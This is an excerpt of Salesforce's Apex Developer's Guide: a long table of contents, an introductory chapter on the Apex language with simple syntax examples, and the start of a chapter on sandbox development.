DmlOptions.AssignmentRuleHeader Properties..........................................................................................678
DmlOptions.EmailHeader Class...............................................................................................................................678
DmlOptions.EmailHeader Properties...........................................................................................................679
EmptyRecycleBinResult Class...................................................................................................................................681
EmptyRecycleBinResult Instance Methods...................................................................................................681
Error Class.................................................................................................................................................................682
Error Instance Methods.................................................................................................................................682
GetDeletedResult Class.............................................................................................................................................683
GetDeletedResult Instance Methods.............................................................................................................684

xiv
Table of Contents

GetUpdatedResult Class...........................................................................................................................................685
GetUpdatedResult Instance Methods...........................................................................................................685
LeadConvert Class....................................................................................................................................................686
LeadConvert Instance Methods....................................................................................................................687
LeadConvertResult Class..........................................................................................................................................694
LeadConvertResult Instance Methods..........................................................................................................694
MergeResult Class.....................................................................................................................................................696
MergeResult Instance Methods.....................................................................................................................696
QueryLocator Class...................................................................................................................................................698
QueryLocator Instance Methods...................................................................................................................698
QueryLocatorIterator Class.......................................................................................................................................699
QueryLocatorIterator Instance Methods.......................................................................................................700
SaveResult Class........................................................................................................................................................701
SaveResult Instance Methods........................................................................................................................702
UndeleteResult Class.................................................................................................................................................703
UndeleteResult Instance Methods.................................................................................................................703
UpsertResult Class.....................................................................................................................................................704
UpsertResult Instance Methods.....................................................................................................................705
Dom Namespace...................................................................................................................................................................706
Document Class........................................................................................................................................................707
Document Instance Methods........................................................................................................................707
XmlNode Class..........................................................................................................................................................709
XmlNode Instance Methods..........................................................................................................................709
Flow Namespace....................................................................................................................................................................719
Interview Class..........................................................................................................................................................719
Interview Instance Methods..........................................................................................................................719
KbManagement Namespace..................................................................................................................................................720
PublishingService Class.............................................................................................................................................720
PublishingService Static Methods.................................................................................................................721
Messaging Namespace...........................................................................................................................................................731
Email Class (Base Email Methods)...........................................................................................................................732
Email Instance Methods................................................................................................................................732
EmailFileAttachment Class.......................................................................................................................................735
EmailFileAttachment Instance Methods.......................................................................................................735
InboundEmail Class..................................................................................................................................................737
InboundEmail Properties...............................................................................................................................737
InboundEmail.BinaryAttachment Class....................................................................................................................742
InboundEmail.BinaryAttachment Properties................................................................................................742
InboundEmail.Header Class.....................................................................................................................................743
InboundEmail.Header Properties..................................................................................................................743
InboundEmail.TextAttachment Class.......................................................................................................................744
InboundEmail.TextAttachment Properties...................................................................................................744
InboundEmailResult Class........................................................................................................................................745
InboundEmailResult Properties.....................................................................................................................746

xv
Table of Contents

InboundEnvelope Class.............................................................................................................................................746
InboundEnvelope Properties.........................................................................................................................747
MassEmailMessage Class..........................................................................................................................................747
MassEmailMessage Instance Methods..........................................................................................................748
SendEmailError Class...............................................................................................................................................749
SendEmailError Instance Methods...............................................................................................................750
SendEmailResult Class..............................................................................................................................................751
SendEmailResult Instance Methods..............................................................................................................751
SingleEmailMessage Methods..................................................................................................................................752
SingleEmailMessage Instance Methods........................................................................................................752
Process Namespace................................................................................................................................................................759
Plugin Interface.........................................................................................................................................................760
Plugin Instance Methods...............................................................................................................................760
Plugin Example Implementation...................................................................................................................761
PluginDescribeResult Class.......................................................................................................................................762
PluginDescribeResult Properties...................................................................................................................762
PluginDescribeResult.InputParameter Class.............................................................................................................764
PluginDescribeResult.InputParameter Properties.........................................................................................764
PluginDescribeResult.OutputParameter Class..........................................................................................................765
PluginDescribeResult.OutputParameter Properties......................................................................................765
PluginRequest Class..................................................................................................................................................766
PluginRequest Properties...............................................................................................................................767
PluginResult Class.....................................................................................................................................................767
PluginResult Properties.................................................................................................................................767
QuickAction Namespace.......................................................................................................................................................767
DescribeAvailableQuickActionResult Class..............................................................................................................768
DescribeAvailableQuickActionResult Instance Methods..............................................................................769
DescribeLayoutComponent Class.............................................................................................................................770
DescribeLayoutComponent Instance Methods.............................................................................................770
DescribeLayoutItem Class.........................................................................................................................................771
DescribeLayoutItem Instance Methods.........................................................................................................772
DescribeLayoutRow Class.........................................................................................................................................774
DescribeLayoutRow Instance Methods.........................................................................................................774
DescribeLayoutSection Class....................................................................................................................................775
DescribeLayoutSection Instance Methods....................................................................................................775
DescribeQuickActionDefaultValue Class..................................................................................................................777
DescribeQuickActionDefaultValue Instance Methods..................................................................................777
DescribeQuickActionResult Class.............................................................................................................................778
DescribeQuickActionResult Instance Methods.............................................................................................779
QuickActionRequest Class........................................................................................................................................784
QuickActionRequest Instance Methods........................................................................................................785
QuickActionResult Class...........................................................................................................................................787
QuickActionResult Instance Methods...........................................................................................................788
Schema Namespace...............................................................................................................................................................789

xvi
Table of Contents

ChildRelationship Class............................................................................................................................................790
ChildRelationship Instance Methods............................................................................................................791
DataCategory Class...................................................................................................................................................793
DataCategory Instance Methods...................................................................................................................793
DescribeColorResult Class........................................................................................................................................794
DescribeColorResult Instance Methods........................................................................................................795
DescribeDataCategoryGroupResult Class................................................................................................................796
DescribeDataCategoryGroupResult Instance Methods................................................................................797
DataCategoryGroupSobjectTypePair Class..............................................................................................................799
DataCategoryGroupSobjectTypePair Instance Methods..............................................................................799
DescribeDataCategoryGroupStructureResult Class..................................................................................................800
DescribeDataCategoryGroupStructureResult Instance Methods..................................................................801
DescribeFieldResult Class.........................................................................................................................................803
DescribeFieldResult Instance Methods.........................................................................................................803
DescribeIconResult Class..........................................................................................................................................820
DescribeIconResult Instance Methods..........................................................................................................820
DescribeSObjectResult Class....................................................................................................................................822
DescribeSObjectResult Instance Methods....................................................................................................823
DescribeTabResult Class...........................................................................................................................................832
DescribeTabResult Instance Methods...........................................................................................................832
DescribeTabSetResult Class......................................................................................................................................835
DescribeTabSetResult Instance Methods......................................................................................................836
DisplayType Enum....................................................................................................................................................838
FieldSet Class............................................................................................................................................................839
FieldSet Instance Methods............................................................................................................................840
FieldSetMember Class..............................................................................................................................................843
FieldSetMember Instance Methods..............................................................................................................843
PicklistEntry Class.....................................................................................................................................................845
PicklistEntry Instance Methods.....................................................................................................................846
RecordTypeInfo Class...............................................................................................................................................847
RecordTypeInfo Instance Methods...............................................................................................................848
SOAPType Enum.....................................................................................................................................................849
SObjectField Class....................................................................................................................................................850
PicklistEntry Instance Methods.....................................................................................................................850
SObjectType Class....................................................................................................................................................851
SObjectType Instance Methods....................................................................................................................851
Site Namespace.....................................................................................................................................................................853
UrlRewriter Interface.................................................................................................................................................854
UrlRewriter Instance Methods......................................................................................................................854
Support Namespace...............................................................................................................................................................855
EmailTemplateSelector Interface..............................................................................................................................855
EmailTemplateSelector Instance Methods....................................................................................................855
EmailTemplateSelector Example Implementation........................................................................................856
System Namespace................................................................................................................................................................857

xvii
Table of Contents

Answers Class............................................................................................................................................................861
Answers Static Methods................................................................................................................................862
ApexPages Class........................................................................................................................................................863
ApexPages Instance Methods........................................................................................................................863
Approval Class...........................................................................................................................................................865
Approval Static Methods...............................................................................................................................865
Blob Class..................................................................................................................................................................867
Blob Static Methods......................................................................................................................................868
Blob Instance Methods..................................................................................................................................869
Boolean Class............................................................................................................................................................869
Boolean Static Methods.................................................................................................................................870
BusinessHours Class..................................................................................................................................................871
BusinessHours Static Methods......................................................................................................................871
Cases Class................................................................................................................................................................874
Cases Static Methods.....................................................................................................................................875
Cookie Class..............................................................................................................................................................875
Cookie Instance Methods..............................................................................................................................877
Crypto Class..............................................................................................................................................................879
Crypto Static Methods..................................................................................................................................880
Custom Settings Methods.........................................................................................................................................886
List Custom Setting Instance Methods.........................................................................................................891
Hierarchy Custom Setting Instance Methods...............................................................................................893
Comparable Interface................................................................................................................................................896
Comparable Instance Methods......................................................................................................................897
Comparable Example Implementation..........................................................................................................897
Database Class...........................................................................................................................................................898
Database Static Methods...............................................................................................................................898
Date Class..................................................................................................................................................................925
Date Static Methods......................................................................................................................................925
Date Instance Methods..................................................................................................................................929
Datetime Methods....................................................................................................................................................935
Datetime Static Methods...............................................................................................................................935
Datetime Instance Methods..........................................................................................................................942
Decimal Class............................................................................................................................................................955
Rounding Mode.............................................................................................................................................955
Decimal Static Methods................................................................................................................................957
Decimal Instance Methods............................................................................................................................958
Double Class..............................................................................................................................................................966
Double Static Methods..................................................................................................................................967
Double Instance Methods..............................................................................................................................968
EncodingUtil Class....................................................................................................................................................970
EncodingUtil Static Methods........................................................................................................................970
Enum Methods.........................................................................................................................................................972
Exception Class and Built-In Exceptions..................................................................................................................973

xviii
Table of Contents

Http Class.................................................................................................................................................................976
Http Instance Methods.................................................................................................................................976
HttpCalloutMock Interface.......................................................................................................................................977
HttpCalloutMock Instance Methods............................................................................................................977
HttpRequest Class.....................................................................................................................................................977
HttpRequest Instance Methods.....................................................................................................................978
HttpResponse Class..................................................................................................................................................986
HttpResponse Instance Methods..................................................................................................................987
Id Class......................................................................................................................................................................993
Id Static Methods..........................................................................................................................................994
Id Instance Methods......................................................................................................................................994
Ideas Class.................................................................................................................................................................997
Ideas Static Methods...................................................................................................................................1000
InstallHandler Interface...........................................................................................................................................1002
InstallHandler Instance Methods................................................................................................................1003
InstallHandler Example Implementation....................................................................................................1003
Integer Class............................................................................................................................................................1004
Integer Static Methods................................................................................................................................1005
Integer Instance Methods............................................................................................................................1006
JSON Class..............................................................................................................................................................1007
JSON Static Methods..................................................................................................................................1007
JSONGenerator Class.............................................................................................................................................1012
JSONGenerator Instance Methods.............................................................................................................1012
JSONParser Class....................................................................................................................................................1025
JSONParser Instance Methods....................................................................................................................1025
JSONToken Enum..................................................................................................................................................1037
Limits Class.............................................................................................................................................................1038
Limits Static Methods.................................................................................................................................1039
List Class.................................................................................................................................................................1055
List Instance Methods.................................................................................................................................1055
Long Class...............................................................................................................................................................1066
Long Static Methods...................................................................................................................................1067
Long Instance Methods...............................................................................................................................1067
Map Class................................................................................................................................................................1068
Map Instance Methods................................................................................................................................1068
Matcher Class..........................................................................................................................................................1078
Matcher Static Methods..............................................................................................................................1078
Matcher Instance Methods..........................................................................................................................1079
Math Class..............................................................................................................................................................1090
Math Static Methods...................................................................................................................................1091
Messaging Class......................................................................................................................................................1114
Messaging Instance Methods......................................................................................................................1114
MultiStaticResourceCalloutMock Class..................................................................................................................1117
MultiStaticResourceCalloutMock Instance Methods..................................................................................1117

xix
Table of Contents

Network Class.........................................................................................................................................................1119
Network Instance Methods.........................................................................................................................1119
PageReference Class................................................................................................................................................1121
PageReference Instance Methods................................................................................................................1123
Pattern Class............................................................................................................................................................1129
Pattern Static Methods................................................................................................................................1129
Pattern Instance Methods............................................................................................................................1131
QuickAction Class...................................................................................................................................................1133
QuickAction Static Methods.......................................................................................................................1133
ResetPasswordResult Class......................................................................................................................................1137
ResetPasswordResult Instance Methods......................................................................................................1137
RestContext Class...................................................................................................................................................1137
RestContext Properties................................................................................................................................1138
RestRequest Class....................................................................................................................................................1138
RestRequest Properties................................................................................................................................1139
RestRequest Instance Methods....................................................................................................................1142
RestResponse Class.................................................................................................................................................1143
RestResponse Properties..............................................................................................................................1143
RestResponse Instance Methods.................................................................................................................1145
Schedulable Interface...............................................................................................................................................1146
Schedulable Instance Methods....................................................................................................................1146
SchedulableContext Interface..................................................................................................................................1147
SchedulableContext Instance Methods........................................................................................................1147
Schema Class...........................................................................................................................................................1148
Schema Static Methods...............................................................................................................................1148
Search Class.............................................................................................................................................................1152
Search Static Methods.................................................................................................................................1152
SelectOption Class..................................................................................................................................................1153
SelectOption Instance Methods..................................................................................................................1154
Set Class..................................................................................................................................................................1157
Set Instance Methods..................................................................................................................................1158
Site Class.................................................................................................................................................................1166
Site Static Methods......................................................................................................................................1169
sObject Class...........................................................................................................................................................1178
SObject Instance Methods...........................................................................................................................1178
StaticResourceCalloutMock Class...........................................................................................................................1191
StaticResourceCalloutMock Instance Methods...........................................................................................1191
String Class..............................................................................................................................................................1193
String Static Methods..................................................................................................................................1193
String Instance Methods..............................................................................................................................1201
System Class............................................................................................................................................................1249
System Static Methods................................................................................................................................1249
Test Class................................................................................................................................................................1267
Test Static Methods.....................................................................................................................................1267

xx
Table of Contents

Time Class...............................................................................................................................................................1274
Time Static Methods...................................................................................................................................1274
Time Instance Methods...............................................................................................................................1275
TimeZone Class......................................................................................................................................................1278
TimeZone Static Methods...........................................................................................................................1279
TimeZone Instance Methods......................................................................................................................1279
Type Class...............................................................................................................................................................1281
Type Static Methods...................................................................................................................................1282
Type Instance Methods...............................................................................................................................1284
UninstallHandler Interface......................................................................................................................................1287
UninstallHandler Instance Methods............................................................................................................1288
UninstallHandler Example Implementation................................................................................................1288
URL Class...............................................................................................................................................................1289
URL Static Methods...................................................................................................................................1290
URL Instance Methods...............................................................................................................................1292
UserInfo Class.........................................................................................................................................................1296
UserInfo Static Methods..............................................................................................................................1297
Version Class...........................................................................................................................................................1305
Version Instance Methods...........................................................................................................................1306
WebServiceMock Interface.....................................................................................................................................1307
WebServiceMock Instance Methods...........................................................................................................1308
XmlStreamReader Class..........................................................................................................................................1309
XmlStreamReader Instance Methods..........................................................................................................1309
XmlStreamWriter Class..........................................................................................................................................1323
XmlStreamWriter Instance Methods..........................................................................................................1323

Appendices.....................................................................................................................................1330
Appendix A: SOAP API and SOAP Headers for Apex.............................................................1330
ApexTestQueueItem...............................................................................................................................................1331
ApexTestResult.......................................................................................................................................................1332
compileAndTest()....................................................................................................................................................1334
CompileAndTestRequest............................................................................................................................1336
CompileAndTestResult...............................................................................................................................1336
compileClasses()......................................................................................................................................................1338
compileTriggers()....................................................................................................................................................1339
executeanonymous().................................................................................................................................................1340
ExecuteAnonymousResult...........................................................................................................................1340
runTests()................................................................................................................................................................1341
RunTestsRequest.........................................................................................................................................1342
RunTestsResult............................................................................................................................................1343
DebuggingHeader...................................................................................................................................................1346
PackageVersionHeader............................................................................................................................................1347

Appendix B: Shipping Invoice Example..................................................................................1349

xxi
Table of Contents

Shipping Invoice Example Walk-Through.............................................................................................................1349
Shipping Invoice Example Code.............................................................................................................................1351

Appendix C: Reserved Keywords............................................................................................1359
Appendix D: Documentation Typographical Conventions.......................................................1361
Glossary.........................................................................................................................................1363
Index..............................................................................................................................................1380

xxii
GETTING STARTED

Chapter 1
Introduction
In this chapter ...
•
•
•
•
•
•
•

Introducing Apex
What is Apex?
When Should I Use Apex?
How Does Apex Work?
Developing Code in the Cloud
What's New?
Understanding Apex Core Concepts

In this chapter, you’ll learn about the Apex programming language, how it
works, and when to use it.

1
Introduction

Introducing Apex

Introducing Apex
Salesforce.com has changed the way organizations do business by moving enterprise applications that were traditionally
client-server-based into an on-demand, multitenant Web environment, the Force.com platform. This environment allows
organizations to run and customize applications, such as Salesforce Automation and Service & Support, and build new custom
applications based on particular business needs.
While many customization options are available through the Salesforce user interface, such as the ability to define new fields,
objects, workflow, and approval processes, developers can also use the SOAP API to issue data manipulation commands such
as delete(), update() or upsert(), from client-side programs.
These client-side programs, typically written in Java, JavaScript, .NET, or other programming languages grant organizations
more flexibility in their customizations. However, because the controlling logic for these client-side programs is not located
on Force.com platform servers, they are restricted by:
•
•

The performance costs of making multiple round-trips to the salesforce.com site to accomplish common business transactions
The cost and complexity of hosting server code, such as Java or .NET, in a secure and robust environment

To address these issues, and to revolutionize the way that developers create on-demand applications, salesforce.com introduces
Force.com Apex code, the first multitenant, on-demand programming language for developers interested in building the next
generation of business applications.
•
•
•

What is Apex?—more about when to use Apex, the development process, and some limitations
What's new in this Apex release?
Apex Quick Start—delve straight into the code and write your first Apex class and trigger

What is Apex?
Apex is a strongly typed, object-oriented programming language that allows developers to execute flow and transaction control
statements on the Force.com platform server in conjunction with calls to the Force.com API. Using syntax that looks like Java
and acts like database stored procedures, Apex enables developers to add business logic to most system events, including button
clicks, related record updates, and Visualforce pages. Apex code can be initiated by Web service requests and from triggers on
objects.

2
Introduction

What is Apex?

Figure 1: You can add Apex to most system events.
As a language, Apex is:
Integrated
Apex provides built-in support for common Force.com platform idioms, including:
• Data manipulation language (DML) calls, such as INSERT, UPDATE, and DELETE, that include built-in
DmlException handling
• Inline Salesforce Object Query Language (SOQL) and Salesforce Object Search Language (SOSL) queries that
return lists of sObject records
• Looping that allows for bulk processing of multiple records at a time
• Locking syntax that prevents record update conflicts
• Custom public Force.com API calls that can be built from stored Apex methods
• Warnings and errors issued when a user tries to edit or delete a custom object or field that is referenced by Apex
Easy to use
Apex is based on familiar Java idioms, such as variable and expression syntax, block and conditional statement syntax,
loop syntax, object and array notation, and so on. Where Apex introduces new elements, it uses syntax and semantics
that are easy to understand and encourage efficient use of the Force.com platform. Consequently, Apex produces code
that is both succinct and easy to write.

3
Introduction

When Should I Use Apex?

Data focused
Apex is designed to thread together multiple query and DML statements into a single unit of work on the Force.com
platform server, much as developers use database stored procedures to thread together multiple transaction statements
on a database server. Note that like other database stored procedures, Apex does not attempt to provide general support
for rendering elements in the user interface.
Rigorous
Apex is a strongly-typed language that uses direct references to schema objects such as object and field names. It fails
quickly at compile time if any references are invalid, and stores all custom field, object, and class dependencies in metadata
to ensure they are not deleted while required by active Apex code.
Hosted
Apex is interpreted, executed, and controlled entirely by the Force.com platform.
Multitenant aware
Like the rest of the Force.com platform, Apex runs in a multitenant environment. Consequently, the Apex runtime
engine is designed to guard closely against runaway code, preventing them from monopolizing shared resources. Any
code that violate these limits fail with easy-to-understand error messages.
Automatically upgradeable
Apex never needs to be rewritten when other parts of the Force.com platform are upgraded. Because the compiled code
is stored as metadata in the platform, it always gets automatically upgraded with the rest of the system.
Easy to test
Apex provides built-in support for unit test creation and execution, including test results that indicate how much code
is covered, and which parts of your code could be more efficient. Salesforce.com ensures that Apex code always work as
expected by executing all unit tests stored in metadata prior to any platform upgrades.
Versioned
You can save your Apex code against different versions of the Force.com API. This enables you to maintain behavior.
Apex is included in Performance Edition, Unlimited Edition, Developer Edition, Enterprise Edition, and Database.com.

When Should I Use Apex?
The Salesforce prebuilt applications provide powerful CRM functionality. In addition, Salesforce provides the ability to
customize the prebuilt applications to fit your organization. However, your organization may have complex business processes
that are unsupported by the existing functionality. When this is the case, the Force.com platform includes a number of ways
for advanced administrators and developers to implement custom functionality. These include Apex, Visualforce, and the
SOAP API.

Apex
Use Apex if you want to:
•
•
•
•
•
•

Create Web services.
Create email services.
Perform complex validation over multiple objects.
Create complex business processes that are not supported by workflow.
Create custom transactional logic (logic that occurs over the entire transaction, not just with a single record or object).
Attach custom logic to another operation, such as saving a record, so that it occurs whenever the operation is executed,
regardless of whether it originates in the user interface, a Visualforce page, or from SOAP API.

4
Introduction

How Does Apex Work?

Visualforce
Visualforce consists of a tag-based markup language that gives developers a more powerful way of building applications and
customizing the Salesforce user interface. With Visualforce you can:
•
•
•

Build wizards and other multistep processes.
Create your own custom flow control through an application.
Define navigation patterns and data-specific rules for optimal, efficient application interaction.

For more information, see the Visualforce Developer's Guide.

SOAP API
Use standard SOAP API calls if you want to add functionality to a composite application that processes only one type of
record at a time and does not require any transactional control (such as setting a Savepoint or rolling back changes).
For more information, see the SOAP API Developer's Guide.

How Does Apex Work?
All Apex runs entirely on-demand on the Force.com platform, as shown in the following architecture diagram:

Figure 2: Apex is compiled, stored, and run entirely on the Force.com platform.
When a developer writes and saves Apex code to the platform, the platform application server first compiles the code into an
abstract set of instructions that can be understood by the Apex runtime interpreter, and then saves those instructions as
metadata.
When an end-user triggers the execution of Apex, perhaps by clicking a button or accessing a Visualforce page, the platform
application server retrieves the compiled instructions from the metadata and sends them through the runtime interpreter before
returning the result. The end-user observes no differences in execution time from standard platform requests.

Developing Code in the Cloud
The Apex programming language is saved and runs in the cloud—the Force.com multitenant platform. Apex is tailored for
data access and data manipulation on the platform, and it enables you to add custom business logic to system events. While

5
Introduction

What's New?

it provides many benefits for automating business processes on the platform, it is not a general purpose programming language.
As such, Apex cannot be used to:
•
•
•
•

Render elements in the user interface other than error messages
Change standard functionality—Apex can only prevent the functionality from happening, or add additional functionality
Create temporary files
Spawn threads
Tip:
All Apex code runs on the Force.com platform, which is a shared resource used by all other organizations. To guarantee
consistent performance and scalability, the execution of Apex is bound by governor limits that ensure no single Apex
execution impacts the overall service of Salesforce. This means all Apex code is limited by the number of operations
(such as DML or SOQL) that it can perform within one process.
All Apex requests return a collection that contains from 1 to 50,000 records. You cannot assume that your code only
works on a single record at a time. Therefore, you must implement programming patterns that take bulk processing
into account. If you don’t, you may run into the governor limits.

See Also:
Trigger and Bulk Request Best Practices

What's New?
Review the Winter ’14 Release Notes to learn about new and changed Apex features in Winter ’14.

Past Releases
For information about new features introduced in previous releases, see:
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•

Summer ’13 Release Notes
Spring ’13 Release Notes
Winter ’13 Release Notes
Summer ’12 Release Notes
Spring ’12 Release Notes
Winter ’12 Release Notes
Summer ’11 Release Notes
Spring ’11 Release Notes
Winter ’11 Release Notes
Summer ’10 Release Notes
Spring ’10 Release Notes
Winter ’10 Release Notes
Summer ’09 Release Notes
Spring ’09 Release Notes
Winter ’09 Release Notes
Summer ’08 Release Notes
Spring ’08 Release Notes
Winter ’08 Release Notes
Summer ’07 Release Notes
Spring ’07 Release Notes
6
Introduction

Understanding Apex Core Concepts

Understanding Apex Core Concepts
Apex code typically contains many things that you might be familiar with from other programming languages:

Figure 3: Programming elements in Apex
The section describes the basic functionality of Apex, as well as some of the core concepts.

Using Version Settings
In the Salesforce user interface you can specify a version of the Salesforce.com API against which to save your Apex class or
trigger. This setting indicates not only the version of SOAP API to use, but which version of Apex as well. You can change
the version after saving. Every class or trigger name must be unique. You cannot save the same class or trigger against different
versions.
You can also use version settings to associate a class or trigger with a particular version of a managed package that is installed
in your organization from AppExchange. This version of the managed package will continue to be used by the class or trigger
if later versions of the managed package are installed, unless you manually update the version setting. To add an installed
managed package to the settings list, select a package from the list of available packages. The list is only displayed if you have
an installed managed package that is not already associated with the class or trigger.

For more information about using version settings with managed packages, see “About Package Versions” in the Salesforce
online help.

7
Introduction

Understanding Apex Core Concepts

Naming Variables, Methods and Classes
You cannot use any of the Apex reserved keywords when naming variables, methods or classes. These include words that are
part of Apex and the Force.com platform, such as list, test, or account, as well as reserved keywords.

Using Variables and Expressions
Apex is a strongly-typed language, that is, you must declare the data type of a variable when you first refer to it. Apex data types
include basic types such as Integer, Date, and Boolean, as well as more advanced types such as lists, maps, objects and sObjects.
Variables are declared with a name and a data type. You can assign a value to a variable when you declare it. You can also
assign values later. Use the following syntax when declaring variables:
datatype variable_name [ = value];

Tip: Note that the semi-colon at the end of the above is not optional. You must end all statements with a semi-colon.

The following are examples of variable declarations:
// The following variable has the data type of Integer with the name Count,
// and has the value of 0.
Integer Count = 0;
// The following variable has the data type of Decimal with the name Total. Note
// that no value has been assigned to it.
Decimal Total;
// The following variable is an account, which is also referred to as an sObject.
Account MyAcct = new Account();

In Apex, all primitive data type arguments, such as Integer or String, are passed into methods by value. This means that any
changes to the arguments exist only within the scope of the method. When the method returns, the changes to the arguments
are lost.
Non-primitive data type arguments, such as sObjects, are also passed into methods by value. This means that when the method
returns, the passed-in argument still references the same object as before the method call and can't be changed to point to
another object. However, the values of the object's fields can be changed in the method.

Using Statements
A statement is any coded instruction that performs an action.
In Apex, statements must end with a semicolon and can be one of the following types:
•
•
•

Assignment, such as assigning a value to a variable
Conditional (if-else)
Loops:
◊ Do-while
◊ While
◊ For

•
•
•
•
•

Locking
Data Manipulation Language (DML)
Transaction Control
Method Invoking
Exception Handling

8
Introduction

Understanding Apex Core Concepts

A block is a series of statements that are grouped together with curly braces and can be used in any place where a single statement
would be allowed. For example:
if (true) {
System.debug(1);
System.debug(2);
} else {
System.debug(3);
System.debug(4);
}

In cases where a block consists of only one statement, the curly braces can be left off. For example:
if (true)
System.debug(1);
else
System.debug(2);

Using Collections
Apex has the following types of collections:
•
•
•

Lists (arrays)
Maps
Sets

A list is a collection of elements, such as Integers, Strings, objects, or other collections. Use a list when the sequence of elements
is important. You can have duplicate elements in a list.
The first index position in a list is always 0.
To create a list:
•
•

Use the new keyword
Use the List keyword followed by the element type contained within <> characters.

Use the following syntax for creating a list:
List <datatype> list_name
[= new List<datatype>();] |
[=new List<datatype>{value [, value2. . .]};] |
;

The following example creates a list of Integer, and assigns it to the variable My_List. Remember, because Apex is strongly
typed, you must declare the data type of My_List as a list of Integer.
List<Integer> My_List = new List<Integer>();

For more information, see Lists on page 30.
A set is a collection of unique, unordered elements. It can contain primitive data types, such as String, Integer, Date, and so
on. It can also contain more complex data types, such as sObjects.
To create a set:
•
•

Use the new keyword
Use the Set keyword followed by the primitive data type contained within <> characters

9
Introduction

Understanding Apex Core Concepts

Use the following syntax for creating a set:
Set<datatype> set_name
[= new Set<datatype>();] |
[= new Set<datatype>{value [, value2. . .] };] |
;

The following example creates a set of String. The values for the set are passed in using the curly braces {}.
Set<String> My_String = new Set<String>{'a', 'b', 'c'};

For more information, see Sets on page 32.
A map is a collection of key-value pairs. Keys can be any primitive data type. Values can include primitive data types, as well
as objects and other collections. Use a map when finding something by key matters. You can have duplicate values in a map,
but each key must be unique.
To create a map:
•
•

Use the new keyword
Use the Map keyword followed by a key-value pair, delimited by a comma and enclosed in <> characters.

Use the following syntax for creating a map:
Map<key_datatype, value_datatype> map_name
[=new map<key_datatype, value_datatype>();] |
[=new map<key_datatype, value_datatype>
{key1_value => value1_value
[, key2_value => value2_value. . .]};] |
;

The following example creates a map that has a data type of Integer for the key and String for the value. In this example, the
values for the map are being passed in between the curly braces {} as the map is being created.
Map<Integer, String> My_Map = new Map<Integer, String>{1 => 'a', 2 => 'b', 3 => 'c'};

For more information, see Maps on page 33.

Using Branching
An if statement is a true-false test that enables your application to do different things based on a condition. The basic syntax
is as follows:
if (Condition){
// Do this if the condition is true
} else {
// Do this if the condition is not true
}

For more information, see Conditional (If-Else) Statements on page 50.

Using Loops
While the if statement enables your application to do things based on a condition, loops tell your application to do the same
thing again and again based on a condition. Apex supports the following types of loops:
•
•
•

Do-while
While
For
10
Introduction

Understanding Apex Core Concepts

A Do-while loop checks the condition after the code has executed.
A While loop checks the condition at the start, before the code executes.
A For loop enables you to more finely control the condition used with the loop. In addition, Apex supports traditional For
loops where you set the conditions, as well as For loops that use lists and SOQL queries as part of the condition.
For more information, see Loops on page 50.

11
Chapter 2
Apex Development Process
In this chapter ...
•
•
•
•
•
•
•
•

What is the Apex Development
Process?
Using a Developer or Sandbox
Organization
Learning Apex
Writing Apex Using Development
Environments
Writing Tests
Deploying Apex to a Sandbox
Organization
Deploying Apex to a Salesforce
Production Organization
Adding Apex Code to a Force.com
AppExchange App

In this chapter, you’ll learn about the Apex development lifecycle, and which
organization and tools to use to develop Apex. You’ll also learn about testing
and deploying Apex code.

12
Apex Development Process

What is the Apex Development Process?

What is the Apex Development Process?
We recommend the following process for developing Apex:
1.
2.
3.
4.
5.
6.

Obtain a Developer Edition account.
Learn more about Apex.
Write your Apex.
While writing Apex, you should also be writing tests.
Optionally deploy your Apex to a sandbox organization and do final unit tests.
Deploy your Apex to your Salesforce production organization.

In addition to deploying your Apex, once it is written and tested, you can also add your classes and triggers to a Force.com
AppExchange App package.

Using a Developer or Sandbox Organization
There are three types of organizations where you can run your Apex:
•
•
•

A developer organization: an organization created with a Developer Edition account.
A production organization: an organization that has live users accessing your data.
A sandbox organization: an organization created on your production organization that is a copy of your production
organization.
Note: Apex triggers are available in the Trial Edition of Salesforce; however, they are disabled when you convert to
any other edition. If your newly-signed-up organization includes Apex, you must deploy your code to your organization
using one of the deployment methods.

You can't develop Apex in your Salesforce production organization. Live users accessing the system while you're developing
can destabilize your data or corrupt your application. Instead, you must do all your development work in either a sandbox or
a Developer Edition organization.
If you aren't already a member of the developer community, go to http://developer.force.com/join and follow the
instructions to sign up for a Developer Edition account. A Developer Edition account gives you access to a free Developer
Edition organization. Even if you already have an Enterprise, Unlimited, or Performance Edition organization and a sandbox
for creating Apex, we strongly recommends that you take advantage of the resources available in the developer community.
Note: You cannot make changes to Apex using the Salesforce user interface in a Salesforce production organization.

Creating a Sandbox Organization
To create or refresh a sandbox organization:
1. From Setup, click Sandboxes or Data Management > Sandboxes.
2. Click New Sandbox.
3. Enter a name and description for the sandbox. You can only change the name when you create or refresh a sandbox.
Tip: We recommend that you choose a name that:
•
•

Reflects the purpose of this sandbox, such as “QA.”
Has few characters because Salesforce automatically appends the sandbox name to usernames and email
addresses on user records in the sandbox environment. Names with fewer characters make sandbox logins
easier to type.
13
Apex Development Process

Using a Developer or Sandbox Organization

4. Select the type of sandbox you want.
Developer Sandbox
Developer sandboxes are special configuration sandboxes intended for coding and testing by a single developer.
Multiple users can log into a single Developer sandbox, but their primary purpose is to provide an environment in
which changes under active development can be isolated until they’re ready to be shared. Just like Developer Pro
sandboxes, Developer sandboxes copy all application and configuration information to the sandbox. Developer
sandboxes are limited to 200 MB of test or sample data, which is enough for many development and testing tasks.
You can refresh a Developer sandbox once per day.
Developer Pro Sandbox
Developer Pro sandboxes copy all of your production organization's reports, dashboards, price books, products, apps,
and customizations under Setup, but exclude all of your organization's standard and custom object records, documents,
and attachments. Creating a Developer Pro sandbox can decrease the time it takes to create or refresh a sandbox
from several hours to just a few minutes, but it can only include up to 1 GB of data. You can refresh a Developer Pro
sandbox once per day.
Partial Data Sandbox
Partial Data sandboxes include all of your organization’s metadata and add a selected amount of your production
organization's data that you define using a sandbox template. A Partial Data sandbox is a Developer sandbox plus
the data you define in a sandbox template. It includes the reports, dashboards, price books, products, apps, and
customizations under Setup (including all of your metadata). Additionally, as defined by your sandbox template,
Partial Data sandboxes can include your organization's standard and custom object records, documents, and attachments
up to 5 GB of data and a maximum of 10,000 records per selected object. A Partial Data sandbox is smaller than a
Full sandbox and has a shorter refresh interval. You can refresh a Partial Data sandbox every 5 days.
Note: Partial Data sandboxes require a sandbox template to select the data from your organization. For
more information, see “Creating Sandbox Templates” in the Salesforce Help.

Full Sandbox
Full sandboxes copy your entire production organization and all its data, including standard and custom object records,
documents, and attachments. You can refresh a Full sandbox every 29 days.
Note: If you don’t see a sandbox option or need licenses for more sandboxes, contact salesforce.com to order
sandboxes for your organization.
